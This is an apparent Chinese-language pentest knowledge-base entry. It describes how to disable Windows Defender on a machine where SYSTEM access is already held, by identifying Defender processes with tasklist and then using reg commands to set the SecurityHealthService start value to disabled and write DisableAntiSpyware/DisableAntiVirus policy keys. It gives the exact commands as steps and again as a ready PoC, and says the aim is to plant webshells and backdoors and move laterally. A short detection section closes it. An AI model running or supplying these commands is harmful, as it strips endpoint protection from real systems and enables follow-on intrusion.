♧ Godown 安全知识树

SYSTEM 权限下识别 Windows Defender 进程后改注册表禁用 SecurityHealthService 并写入 DisableAntiSpyware/DisableAntiVirus 策略键

pentest/c2 · verified

一句话结论

在已获得 SYSTEM 权限的 Windows 机器上,用 tasklist /SVC 对照进程名识别出 Windows Defender 后,把 HKLM\System\CurrentControlSet\Services\SecurityHealthService 的 Start 改为 4(禁用)并向 HKLM\Software\Policies\Microsoft\Windows Defender 写入 DisableAntiSpyware/DisableAntiVirus=1,即可关闭杀软为落地后门与横移扫清障碍。

原理

  • 识别:Defender 的进程为 MsMpEng.exe、NisSrv.exe,辅助服务为 SecurityHealthService.exe;tasklist /SVC 输出 PID 与服务对应关系,配合杀软进程对照表即可确认目标装的杀软类型。
  • 服务层:Windows 服务是否自启由注册表 HKLM\System\CurrentControlSet\Services\<服务名>\Start 控制(0 引导/2 自动/3 手动/4 禁用)。SYSTEM 权限对该键有写权限,置 4 后 SecurityHealthService 不再启动。
  • 策略层:Defender 读取 HKLM\Software\Policies\Microsoft\Windows Defender 下的组策略键;DisableAntiSpyware=1、DisableAntiVirus=1 是传统上可关闭实时防护的策略开关,删除该键下的旧策略再写入新值可覆盖冲突配置。
  • 两条路径组合:即使防病毒引擎进程仍短暂存在,服务禁用 + 策略关闭后不再拦截后续恶意文件写入与执行。

触发条件

  • 已获得 SYSTEM(或具备修改服务注册表与策略键的权限)。
  • 目标为 Windows 10/Server 2016 及更早版本上未开启 Tamper Protection(防篡改)的 Defender;开启了 Tamper Protection 的现代系统该手法会被拦截。

利用步骤

  1. tasklist /SVC 列出进程-服务对照,对照杀软进程表识别(MsMpEng.exe/SecurityHealthService.exe 即 Defender)。
  2. 禁用服务自启: reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  3. 清理旧策略并关闭防护: reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  4. 之后继续落地 Webshell/后门、上传横移工具。

PoC

reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

变体与关联

  • 同思路可套用其他杀软:先 tasklist 对照识别进程,再按对应服务名禁用。
  • 新版系统 Tamper Protection 会阻止上述注册表修改,需换用白名单目录、DLL 侧载等其他规避手段。

检测与防御

  • 开启并强制 Tamper Protection。
  • SIEM 监控 SecurityHealthService\Start 值修改与 DisableAntiSpyware/DisableAntiVirus 策略键写入(Sysmon 注册表事件)。
  • 最小化服务控制权限,运行账户不授予对 Services 键的写权限。